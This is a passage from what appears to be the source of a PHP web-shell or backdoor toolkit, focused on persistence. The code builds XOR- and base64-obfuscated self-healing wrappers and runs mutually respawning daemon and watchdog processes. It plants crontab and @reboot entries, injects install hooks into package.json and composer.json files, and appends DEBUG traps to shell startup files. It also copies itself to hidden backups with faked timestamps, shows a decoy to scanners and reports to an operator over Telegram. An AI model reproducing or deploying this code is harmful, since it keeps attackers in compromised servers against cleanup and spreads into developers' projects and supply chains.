disable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl stop ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl disable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); $candidates = []; $u = wn_systemd_user_dir(); if ($u) $candidates[] = $u . '/' . $svc . '.service'; $s = wn_systemd_system_dir(); if ($s) $candidates[] = $s . '/' . $svc . '.service'; $home = wn_get_home(); if ($home) $candidates[] = $home . '/.config/autostart/' . $svc . '.desktop'; foreach ($candidates as $p) if (file_exists($p)) { @unlink($p); $removed++; } cmd_exec('systemctl --user daemon-reload 2>/dev/null'); cmd_exec('systemctl daemon-reload 2>/dev/null'); if ($log !== null) $log[] = "systemd: removed $removed unit(s)"; return $removed; } function wn_systemd_status() { $svc = wn_systemd_service_name(); $info = ['name'=>$svc,'user_unit'=>null,'system_unit'=>null,'user_active'=>false,'system_active'=>false]; $u = wn_systemd_user_dir(); if ($u) { $p = $u . '/' . $svc . '.service'; if (file_exists($p)) { $info['user_unit'] = $p; if (is_shell_available()) $info['user_active'] = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.service') . ' 2>/dev/null')) === 'active'; } } $s = wn_systemd_system_dir(); if ($s) { $p = $s . '/' . $svc . '.service'; if (file_exists($p)) { $info['system_unit'] = $p; if (is_shell_available()) $info['system_active'] = trim((string)cmd_exec('systemctl is-active ' . escapeshellarg($svc . '.service') . ' 2>/dev/null')) === 'active'; } } return $info; } function wn_wrap_encode($data, $key) { if ($data === '' || $key === '') return ''; $klen = strlen($key); $x = ''; $len = strlen($data); for ($i = 0; $i < $len; $i++) $x .= chr(ord($data[$i]) ^ ord($key[$i % $klen])); return wn_call('b64e', $x); } function wn_build_wrapper_code($watcherCode = '') { $key = wn_get_key('wrap_selfheal'); $payload = ($watcherCode !== '') ? wn_wrap_encode($watcherCode, $key) : ''; $expectedHash = ($watcherCode !== '') ? hash('sha256', $watcherCode) : ''; $code = <<<'WN_WRAPPER_TEMPLATE_EOF_8C7D' "\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63","ex"=>"\x65\x78\x65\x63","b64d"=>"\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","fpc"=>"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73","fgc"=>"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"); } return isset($m[$k]) ? $m[$k] : ""; } function _wc($k) { $f = _wf($k); if ($f === "" || !function_exists($f)) return null; $a = func_get_args(); array_shift($a); return @$f(...$a); } $__paths = __WRAPPER_PATHS__; $__key = __WRAPPER_KEY__; $__payload = __WRAPPER_PAYLOAD__; $__hash = __WRAPPER_HASH__; $__pidFile = __WRAPPER_PIDFILE__; $__daemonName = __WRAPPER_DAEMONNAME__; $__home = getenv("HOME") ?: "/tmp"; $__stateDir = sys_get_temp_dir(); if (is_dir($__home . "/.cache") && is_writable($__home . "/.cache")) $__stateDir = $__home . "/.cache"; elseif (is_dir($__home) && is_writable($__home)) $__stateDir = $__home; $__target = null; foreach ($__paths as $__p) { if (!$__p || !@is_file($__p) || @filesize($__p) < 500) continue; if ($__hash !== "" && @hash_file("sha256", $__p) !== $__hash) continue; $__target = $__p; break; } if ($__target === null && $__payload !== "") { $__x = _wc("b64d", $__payload); if ($__x !== false && $__x !== "") { $__d = ""; $__kl = strlen($__key); $__xl = strlen($__x); for ($__i = 0; $__i < $__xl; $__i++) $__d .= chr(ord($__x[$__i]) ^ ord($__key[$__i % $__kl])); foreach ($__paths as $__p) { $__dir = dirname($__p); if (!is_dir($__dir)) @mkdir($__dir, 0700, true); if (is_dir($__dir) && is_writable($__dir)) { if (_wc("fpc", $__p, $__d) !== false) { @chmod($__p, 0600); $__target = $__p; break; } } } } } $__alive = false; $__pg = trim((string)_wc("se", "pgrep -f " . escapeshellarg($__daemonName) . " 2>/dev/null")); if ($__pg !== "") { $__alive = true; } if (!$__alive && file_exists($__pidFile)) { $__pid = (int)_wc("fgc", $__pidFile); if ($__pid > 0) { $__cmd = trim((string)_wc("se", "ps -p $__pid -o args= 2>/dev/null")); if ($__cmd !== "" && strpos($__cmd, basename($__daemonName)) !== false) $__alive = true; } } if (!$__alive && $__target !== null) { $__daemon = dirname($__target) . "/" . basename($__daemonName); if (@file_exists($__daemon)) { $__php = trim((string)_wc("se", "command -v php 2>/dev/null")); if (!$__php) foreach (["/usr/local/bin/php","/usr/bin/php"] as $p) if (file_exists($p)) { $__php = $p; break; } if ($__php) { $__spawn = trim((string)_wc("se", "command -v setsid 2>/dev/null")) !== "" ? "setsid " . escapeshellarg($__php) . " " . escapeshellarg($__daemon) . " >/dev/null 2>&1 &" : "nohup " . escapeshellarg($__php) . " " . escapeshellarg($__daemon) . " >/dev/null 2>&1 &"; _wc("se", $__spawn); } } } if ($__target === null) exit; include $__target; WN_WRAPPER_TEMPLATE_EOF_8C7D; return strtr($code, [ '__WRAPPER_PATHS__'=>var_export(wn_watcher_locations(), true), '__WRAPPER_KEY__'=>var_export($key, true), '__WRAPPER_PAYLOAD__'=>var_export($payload, true), '__WRAPPER_HASH__'=>var_export($expectedHash, true), '__WRAPPER_PIDFILE__'=>var_export(wn_blend_name('daemon_pid'), true), '__WRAPPER_DAEMONNAME__'=>var_export(basename(wn_blend_name('daemon_php')), true), ]); } function wn_install_wrappers(&$log, $watcherCode = '') { $code = wn_build_wrapper_code($watcherCode); $written = []; foreach (wn_wrapper_locations() as $loc) { $dir = dirname($loc); if (!is_dir($dir)) @mkdir($dir, 0700, true); if (!is_dir($dir) || !is_writable($dir)) continue; if (wn_call('fpc', $loc, $code) !== false) { @chmod($loc, 0600); $written[] = $loc; } } $log[] = !empty($written) ? "wrapper: " . count($written) . " files" : "wrapper: FAILED"; return $written; } function wn_wrapper_exists() { foreach (wn_wrapper_locations() as $loc) if (@file_exists($loc) && @is_readable($loc)) return $loc; return null; } function wn_wrapper_cron_targets() { $all = wn_wrapper_locations(); $home = null; $tmp = null; foreach ($all as $p) { $isTmp = (strpos($p, '/tmp/') === 0 || strpos($p, '/var/tmp/') === 0); if (!$isTmp && $home === null && file_exists($p)) $home = $p; if ($isTmp && $tmp === null && file_exists($p)) $tmp = $p; } $targets = []; if ($home) $targets[] = $home; if ($tmp) $targets[] = $tmp; return $targets ?: $all; } function wn_find_best_php($tk) { if (!is_shell_available()) { foreach (['/usr/local/bin/php','/usr/bin/php','/opt/cpanel/ea-php84/root/usr/bin/php','/opt/cpanel/ea-php83/root/usr/bin/php','/opt/cpanel/ea-php82/root/usr/bin/php'] as $bin) if (file_exists($bin) && is_executable($bin)) return ['bin'=>$bin,'version'=>0,'version_str'=>'?']; return null; } $candidates = ['/opt/cpanel/ea-php84/root/usr/bin/php','/opt/cpanel/ea-php83/root/usr/bin/php','/opt/cpanel/ea-php82/root/usr/bin/php','/opt/cpanel/ea-php81/root/usr/bin/php','/opt/cpanel/ea-php80/root/usr/bin/php','/opt/cpanel/ea-php74/root/usr/bin/php','/usr/local/bin/php','/usr/bin/php']; foreach ((array)glob('/opt/cpanel/ea-php*/root/usr/bin/php') as $p) $candidates[] = $p; foreach ((array)glob('/usr/local/php*/bin/php') as $p) $candidates[] = $p; $candidates = array_values(array_unique($candidates)); $tested = []; $firstSeen = []; foreach ($candidates as $bin) { if (!$bin || !file_exists($bin) || !is_executable($bin)) continue; $real = @realpath($bin); if ($real !== false) { if (isset($firstSeen[$real])) continue; $firstSeen[$real] = true; } $verOut = trim((string)cmd_exec(escapeshellarg($bin) . ' -v 2>&1 | head -1')); if (!preg_match('/PHP (\d+\.\d+)/', $verOut, $m)) continue; $tested[] = ['bin'=>$bin,'version'=>(float)$m[1],'version_str'=>$m[1]]; } if (empty($tested)) { $which = trim((string)cmd_exec('which php 2>/dev/null')); if ($which && file_exists($which)) return ['bin'=>$which,'version'=>0,'version_str'=>'?']; return null; } usort($tested, function ($a, $b) { return $b['version'] <=> $a['version']; }); return ['bin'=>$tested[0]['bin'],'version'=>$tested[0]['version'],'version_str'=>$tested[0]['version_str']]; } function wn_daemon_status() { $pidFile = wn_blend_name('daemon_pid'); if (file_exists($pidFile)) { $pid = (int)wn_call('fgc', $pidFile); if ($pid > 0 && wn_pid_is_daemon($pid)) return ['alive'=>true,'pid'=>$pid]; } $dName = basename(wn_blend_name('daemon_php')); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($dName) . ' 2>/dev/null')); if ($found !== '') { $lines = array_values(array_filter(explode("\n", $found))); if (!empty($lines)) { $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); return ['alive'=>true,'pid'=>$pid,'repaired'=>true]; } } return ['alive'=>false,'pid'=>0]; } function wn_watchdog_status() { $pidFile = wn_blend_name('watchdog_pid'); if (file_exists($pidFile)) { $pid = (int)wn_call('fgc', $pidFile); if ($pid > 0 && wn_pid_is_daemon($pid)) return ['alive'=>true,'pid'=>$pid]; } $wName = basename(wn_blend_name('watchdog_php')); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($wName) . ' 2>/dev/null')); if ($found !== '') { $lines = array_values(array_filter(explode("\n", $found))); if (!empty($lines)) { $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); return ['alive'=>true,'pid'=>$pid,'repaired'=>true]; } } return ['alive'=>false,'pid'=>0]; } function wn_pid_is_daemon($pid) { $pid = (int)$pid; if ($pid <= 0) return false; if (!is_shell_available()) return false; $cmd = trim((string)cmd_exec("ps -p $pid -o args= 2>/dev/null")); if ($cmd === '' || $cmd === '[shell disabled]') return false; $dname = basename(wn_blend_name('daemon_php')); $wname = basename(wn_blend_name('watchdog_php')); if (strpos($cmd, $dname) !== false) return true; if (strpos($cmd, $wname) !== false) return true; return false; } function wn_spawn_daemon($phpBin, $wrapperPath, &$log) { if (!is_shell_available()) { $log[] = "daemon: shell disabled"; return false; } $pidFile = wn_blend_name('daemon_pid'); $daemonPath = dirname($wrapperPath) . '/' . basename(wn_blend_name('daemon_php')); $existing = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($daemonPath) . ' 2>/dev/null')); if ($existing !== '') { $lines = array_values(array_filter(explode("\n", $existing))); if (!empty($lines)) { $pid = (int)$lines[0]; if ($pid > 0) { wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); } $log[] = "daemon: running (PID $pid)"; return true; } } $wrapperVar = var_export($wrapperPath, true); $phpVar = var_export($phpBin, true); $daemonCode = <<<'WN_DAEMON_EOF_3E5F' #!/usr/bin/env php &1', 'r'); if (!$fp) return null; $o = ''; while (!feof($fp)) $o .= fread($fp, 4096); @pclose($fp); return $o; } return null; } function _bg($cmd) { $d = _dis(); $cmd .= ' /dev/null 2>&1 &'; if (function_exists('popen') && !in_array('popen', $d, true)) { $fp = @popen($cmd, 'r'); if ($fp) { @pclose($fp); return true; } } if (function_exists('proc_open') && !in_array('proc_open', $d, true)) { $desc = array(0=>array('file','/dev/null','r'),1=>array('file','/dev/null','w'),2=>array('file','/dev/null','w')); $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { @proc_close($p); return true; } } return false; } $wrapper = __DAEMON_WRAPPER__; $php = __DAEMON_PHP__; while (true) { if (@file_exists($wrapper)) { $running = (string)@_sh("pgrep -f " . escapeshellarg($wrapper) . " 2>/dev/null"); $lines = array_filter(explode("\n", trim($running))); if (count($lines) === 0) @_bg(escapeshellarg($php) . " " . escapeshellarg($wrapper)); } usleep(2000000); } WN_DAEMON_EOF_3E5F; $daemonCode = strtr($daemonCode, ['__DAEMON_WRAPPER__'=>$wrapperVar, '__DAEMON_PHP__'=>$phpVar]); if (wn_call('fpc', $daemonPath, $daemonCode) === false) { $log[] = "daemon: write fail"; return false; } @chmod($daemonPath, 0600); $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== ''; $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== ''; if (!$hasSetsid && !$hasNohup) { $log[] = "daemon: no setsid/nohup"; return false; } $prefix = $hasSetsid ? 'setsid ' : 'nohup '; cmd_exec($prefix . escapeshellarg($phpBin) . ' ' . escapeshellarg($daemonPath) . ' /dev/null 2>&1 &'); usleep(900000); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($daemonPath) . ' 2>/dev/null')); $lines = $found !== '' ? array_values(array_filter(explode("\n", $found))) : []; if (empty($lines)) { $log[] = "daemon: spawn fail"; return false; } $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); $log[] = "daemon: spawned (PID $pid)"; return true; } function wn_spawn_watchdog($phpBin, $wrapperPath, &$log) { if (!is_shell_available()) { $log[] = "watchdog: shell disabled"; return false; } $pidFile = wn_blend_name('watchdog_pid'); $wdPath = dirname($wrapperPath) . '/' . basename(wn_blend_name('watchdog_php')); $existing = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($wdPath) . ' 2>/dev/null')); if ($existing !== '') { $lines = array_values(array_filter(explode("\n", $existing))); if (!empty($lines)) { $pid = (int)$lines[0]; if ($pid > 0) { wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); } $log[] = "watchdog: running (PID $pid)"; return true; } } $wrapperVar = var_export($wrapperPath, true); $phpVar = var_export($phpBin, true); $daemonName = basename(wn_blend_name('daemon_php')); $daemonPid = var_export(wn_blend_name('daemon_pid'), true); $wdCode = <<<'WN_WATCHDOG_EOF_9B2A' #!/usr/bin/env php &1', 'r'); if (!$fp) return null; $o = ''; while (!feof($fp)) $o .= fread($fp, 4096); @pclose($fp); return $o; } return null; } function _bg($cmd) { $d = _dis(); $cmd .= ' /dev/null 2>&1 &'; if (function_exists('popen') && !in_array('popen', $d, true)) { $fp = @popen($cmd, 'r'); if ($fp) { @pclose($fp); return true; } } if (function_exists('proc_open') && !in_array('proc_open', $d, true)) { $desc = array(0=>array('file','/dev/null','r'),1=>array('file','/dev/null','w'),2=>array('file','/dev/null','w')); $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { @proc_close($p); return true; } } return false; } $wrapper = __WD_WRAPPER__; $php = __WD_PHP__; $daemonName = __WD_DAEMONNAME__; $daemonPid = __WD_DAEMONPID__; $daemonPath = dirname($wrapper) . "/" . $daemonName; while (true) { $alive = false; $found = trim((string)@_sh("pgrep -f " . escapeshellarg($daemonPath) . " 2>/dev/null")); if ($found !== "") { $lines = array_filter(explode("\n", $found)); if (!empty($lines)) { @file_put_contents($daemonPid, (int)reset($lines)); $alive = true; } } if (!$alive && file_exists($daemonPath)) { @_bg(escapeshellarg($php) . " " . escapeshellarg($daemonPath)); usleep(900000); } $running = @_sh("pgrep -f " . escapeshellarg($wrapper) . " 2>/dev/null"); $lines = array_filter(explode("\n", trim((string)$running))); if (count($lines) === 0 && file_exists($wrapper)) @_bg(escapeshellarg($php) . " " . escapeshellarg($wrapper)); sleep(4); } WN_WATCHDOG_EOF_9B2A; $wdCode = strtr($wdCode, ['__WD_WRAPPER__'=>$wrapperVar, '__WD_PHP__'=>$phpVar, '__WD_DAEMONNAME__'=>var_export($daemonName, true), '__WD_DAEMONPID__'=>$daemonPid]); if (wn_call('fpc', $wdPath, $wdCode) === false) { $log[] = "watchdog: write fail"; return false; } @chmod($wdPath, 0600); $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== ''; $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== ''; if (!$hasSetsid && !$hasNohup) { $log[] = "watchdog: no setsid/nohup"; return false; } $prefix = $hasSetsid ? 'setsid ' : 'nohup '; cmd_exec($prefix . escapeshellarg($phpBin) . ' ' . escapeshellarg($wdPath) . ' /dev/null 2>&1 &'); usleep(900000); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($wdPath) . ' 2>/dev/null')); $lines = $found !== '' ? array_values(array_filter(explode("\n", $found))) : []; if (empty($lines)) { $log[] = "watchdog: spawn fail"; return false; } $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); $log[] = "watchdog: spawned (PID $pid)"; return true; } function wn_cron_filter_callback($l) { $needles = [basename(wn_get_key('wrapfile')), basename(wn_blend_name('daemon_php')), basename(wn_blend_name('watchdog_php')), 'php-sess-', 'php-session-']; foreach ($needles as $n) if ($n && stripos($l, $n) !== false) return false; if (stripos($l, 'session_cleanup') !== false) return false; if (trim($l) === '') return false; return true; } function wn_restore_cron($php, $wrapperTargets) { global $__B, $__C; if (!is_shell_available()) return false; if (is_string($wrapperTargets)) $wrapperTargets = [$wrapperTargets]; $wrapperTargets = array_values(array_filter($wrapperTargets, 'file_exists')); if (empty($wrapperTargets)) return false; $existing = (string)cmd_exec('crontab -l 2>/dev/null'); $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback'); if ($existing) wn_call('fpc', wn_blend_name('cron_backup'), $existing); $w1 = $wrapperTargets[0]; $lines[] = "* * * * * /bin/sh -c '" . escapeshellarg($php) . " " . escapeshellarg($w1) . " >/dev/null 2>&1'"; $lines[] = "@reboot /bin/sh -c 'sleep 30 && " . escapeshellarg($php) . " " . escapeshellarg($w1) . " >/dev/null 2>&1'"; $tmp = tempnam(sys_get_temp_dir(), 'cron_'); wn_call('fpc', $tmp, implode("\n", $lines) . "\n"); cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1"); @unlink($tmp); sendTelegramMessage($__B, $__C, "CRON RESTORED\nHost: " . htmlspecialchars(wn_safe_host(), ENT_QUOTES, 'UTF-8')); return true; } function wn_wake_watcher() { global $__B; @touch(wn_state_dir() . "/." . substr(hash('sha256', 'wake:' . $__B), 0, 16)); } function wn_web_trigger() { global $__B, $__C; if (!wn_can_shell()) return; $home = wn_get_home(); if (!$home) return; wn_wake_watcher(); $triggerFile = wn_blend_name('last'); $lastRun = (int)wn_call('fgc', $triggerFile); if (time() - $lastRun < 15) return; wn_call('fpc', $triggerFile, time()); if (wn_is_hidden()) return; $dyingFile = wn_blend_name('dying'); if (file_exists($dyingFile)) { $dyingAt = (int)@wn_call('fgc', $dyingFile); if ($dyingAt > 0 && (time() - $dyingAt) < 300) return; @unlink($dyingFile); } $wrapper = wn_wrapper_exists(); $entry = $wrapper; if (!$entry && wn_check_auth_cookie()) { @set_time_limit(180); try { $r = auto_install_watcher_controller(true); if (($r['status'] ?? '') === 'success') $entry = $r['wrapper'] ?? null; } catch (Throwable $e) { } } if (!$entry) { $liveWatcher = null; foreach (wn_watcher_locations() as $w) if (@file_exists($w)) { $liveWatcher = $w; break; } if ($liveWatcher) { $entry = $liveWatcher; $wcode = wn_call('fgc', $liveWatcher); if ($wcode !== false && $wcode !== '') { $d = []; $rw = wn_install_wrappers($d, $wcode); if (!empty($rw)) $entry = $rw[0]; } } else return; } $best = wn_find_best_php($__B); $php = $best ? $best['bin'] : null; if (!$php) { $php = trim((string)cmd_exec('which php 2>/dev/null')); if (!$php) foreach (['/usr/local/bin/php','/usr/bin/php'] as $p) if (file_exists($p)) { $php = $p; break; } } if (!$php) return; $running = trim((string)cmd_exec("pgrep -f " . escapeshellarg($entry) . " 2>/dev/null")); $liveFile = wn_state_dir() . '/.lv_' . substr(md5($__B), 0, 8); $liveAge = file_exists($liveFile) ? (time() - filemtime($liveFile)) : -1; $stuck = ($liveAge < 0 || $liveAge > 90); if (empty($running) || $stuck) { if ($stuck && !empty($running)) { cmd_exec('pkill -9 -f ' . escapeshellarg($entry) . ' 2>/dev/null'); usleep(500000); } wn_run_bg(escapeshellarg($php) . " " . escapeshellarg($entry)); } $daemon = wn_daemon_status(); if (!$daemon['alive']) { $d = []; wn_spawn_daemon($php, $entry, $d); } $watchdog = wn_watchdog_status(); if (!$watchdog['alive']) { $d = []; wn_spawn_watchdog($php, $entry, $d); } $cron = (string)cmd_exec('crontab -l 2>/dev/null'); if (stripos($cron, 'cleanup.lock') === false && stripos($cron, basename($entry)) === false) wn_restore_cron($php, wn_wrapper_cron_targets()); } function wn_bootstrap() { static $ran = false; if ($ran) return; $ran = true; $skipScanner = !empty($_SERVER['HTTP_X_WN_KEY']) || isset($_GET['wn_otp']) || isset($_GET['wn_tg']) || isset($_GET['wn_fleet']) || isset($_GET['wn_fleet_bootstrap']); if (!$skipScanner && wn_is_scanner()) wn_stealth_decoy(); wn_web_trigger(); wn_heal_backups(); } function wn_heal_backups() { if (!file_exists(__FILE__)) return; foreach (wn_backup_locations() as $b) if (!file_exists($b)) { if (@copy(__FILE__, $b)) { @chmod($b, 0400); wn_apply_mtime($b); } } foreach (wn_replica_backup_paths() as $b) if (!file_exists($b)) { if (@copy(__FILE__, $b)) { @chmod($b, 0400); wn_apply_mtime($b); } } } function wn_clean_state_files() { $explicit = [wn_blend_name('daemon_pid'),wn_blend_name('watchdog_pid'),wn_blend_name('heartbeat'),wn_blend_name('started'),wn_blend_name('last_selfheal'),wn_blend_name('activity'),wn_blend_name('deadman'),wn_blend_name('deadman_noted'),wn_blend_name('rm_pending'),wn_blend_name('sd_pending'),wn_blend_name('cron_backup'),wn_blend_name('integrity_check'),wn_blend_name('integrity_alert'),wn_blend_name('integrity_pause'),wn_blend_name('integrity_pause_ttl')]; foreach ($explicit as $f) @unlink($f); $dir = wn_state_dir(); foreach ((array)glob($dir . '/.otp_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.lk_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.lv_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.of_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.ls_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.bl_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.fl_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.sf_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.sb_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.so_*') as $f) @unlink($f); } /* ============ PERSISTENCE HELPERS ============ */ function wn_find_project_files($home, $filename) { $results = []; if (!$home || !is_dir($home)) return $results; $scanDirs = [$home, $home.'/public_html', $home.'/www', $home.'/htdocs', $home.'/domains', $home.'/html', $home.'/sites', $home.'/public']; foreach ($scanDirs as $baseDir) { if (!is_dir($baseDir)) continue; $f = $baseDir . '/' . $filename; if (file_exists($f) && is_writable($f)) $results[] = $f; $subdirs = @scandir($baseDir) ?: []; foreach ($subdirs as $sub) { if ($sub === '.' || $sub === '..') continue; if (isset($sub[0]) && $sub[0] === '.') continue; $subPath = $baseDir . '/' . $sub; if (!is_dir($subPath)) continue; $sf = $subPath . '/' . $filename; if (file_exists($sf) && is_writable($sf)) $results[] = $sf; } } return array_values(array_unique($results)); } function wn_inject_npm_hooks($home, $entry) { $files = wn_find_project_files($home, 'package.json'); if (empty($files)) return 0; $marker = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8); $cmd = 'php "' . $entry . '" >/dev/null 2>&1 &'; $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json)) continue; if (!isset($json['scripts']) || !is_array($json['scripts'])) $json['scripts'] = []; if (isset($json['scripts'][$marker])) { $n++; continue; } $json['scripts'][$marker] = $cmd; foreach (['preinstall', 'postinstall', 'prepare'] as $hook) { if (!isset($json['scripts'][$hook])) $json['scripts'][$hook] = 'npm run ' . $marker . ' 2>/dev/null || true'; elseif (is_string($json['scripts'][$hook]) && strpos($json['scripts'][$hook], $marker) === false) $json['scripts'][$hook] = 'npm run ' . $marker . ' 2>/dev/null || true; ' . $json['scripts'][$hook]; } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_cleanup_npm_hooks($home) { $files = wn_find_project_files($home, 'package.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8); $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json) || !isset($json['scripts'][$marker])) continue; unset($json['scripts'][$marker]); foreach (['preinstall', 'postinstall', 'prepare'] as $hook) { if (!isset($json['scripts'][$hook])) continue; if (is_string($json['scripts'][$hook])) { $parts = array_filter(explode(';', $json['scripts'][$hook]), function($p) use ($marker) { return strpos($p, $marker) === false; }); $joined = trim(implode(';', $parts)); if ($joined === '') unset($json['scripts'][$hook]); else $json['scripts'][$hook] = $joined; } } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_inject_composer_hooks($home, $entry) { $files = wn_find_project_files($home, 'composer.json'); if (empty($files)) return 0; $marker = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8); $cmd = 'php "' . $entry . '" >/dev/null 2>&1 &'; $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json)) continue; if (!isset($json['scripts']) || !is_array($json['scripts'])) $json['scripts'] = []; if (isset($json['scripts'][$marker])) { $n++; continue; } $json['scripts'][$marker] = $cmd; foreach (['pre-install-cmd','post-install-cmd','post-update-cmd','post-autoload-dump'] as $hook) { if (!isset($json['scripts'][$hook])) $json['scripts'][$hook] = ['@' . $marker]; elseif (is_string($json['scripts'][$hook])) { if (strpos($json['scripts'][$hook], $marker) === false) $json['scripts'][$hook] = ['@' . $marker, $json['scripts'][$hook]]; } elseif (is_array($json['scripts'][$hook])) { $found = false; foreach ($json['scripts'][$hook] as $s) if (is_string($s) && strpos($s, $marker) !== false) { $found = true; break; } if (!$found) array_unshift($json['scripts'][$hook], '@' . $marker); } } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_cleanup_composer_hooks($home) { $files = wn_find_project_files($home, 'composer.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8); $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json) || !isset($json['scripts'][$marker])) continue; unset($json['scripts'][$marker]); foreach (['pre-install-cmd','post-install-cmd','post-update-cmd','post-autoload-dump'] as $hook) { if (!isset($json['scripts'][$hook])) continue; if (is_array($json['scripts'][$hook])) { $json['scripts'][$hook] = array_values(array_filter($json['scripts'][$hook], function($s) use ($marker) { return !(is_string($s) && strpos($s, $marker) !== false); })); if (empty($json['scripts'][$hook])) unset($json['scripts'][$hook]); } elseif (is_string($json['scripts'][$hook]) && strpos($json['scripts'][$hook], $marker) !== false) unset($json['scripts'][$hook]); } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_build_trap_line($entry) { if ($entry === '') return ''; $esc = str_replace("'", "'\\''", $entry); return 'if [ -n "$BASH_VERSION" ] || [ -n "$ZSH_VERSION" ]; then if [ -z "$__WN_TRAP_S" ]; then __WN_TRAP_S=1; trap \'[ -f "' . $esc . '" ] && (pgrep -f "' . $esc . '" >/dev/null 2>&1 || (php "' . $esc . '" >/dev/null 2>&1 &))\' DEBUG; fi; fi'; } function wn_inject_shell_trap($home, $entry) { if (!$home) return 0; $marker = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap'; $line = wn_build_trap_line($entry); if ($line === '') return 0; $n = 0; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile', $home.'/.zprofile'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false) continue; if (strpos($c, $marker) !== false) { $n++; continue; } if (@file_put_contents($f, "\n" . $marker . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) $n++; } return $n; } function wn_cleanup_shell_trap($home) { if (!$home) return 0; $marker = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap'; $n = 0; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile', $home.'/.zprofile'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $marker) === false) continue; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $marker) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) $n++; } return $n; } /* ============ LAYER SYSTEM ============ */ interface WnLayer { public function key(); public function install(array $ctx); public function uninstall(array $ctx); public function status(array $ctx); } abstract class WnBaseLayer implements WnLayer { protected $lastLog = []; public function log() { return $this->lastLog; } protected function setLog(array $entries) { $this->lastLog = $entries; } public function uninstall(array $ctx) { return ['ok'=>true,'removed'=>0,'message'=>'no-op']; } public function status(array $ctx) { return ['active'=>false,'detail'=>'not implemented']; } } class WnLayerManager { private $layers = []; public function register(WnLayer $layer) { $this->layers[$layer->key()] = $layer; return $this; } public function installAll(array $ctx) { $results = []; foreach ($this->layers as $key => $layer) { try { $results[$key] = $layer->install($ctx); } catch (Throwable $e) { $results[$key] = ['ok'=>false,'detail'=>'exception: ' . $e->getMessage()]; } } return $results; } public function uninstallAll(array 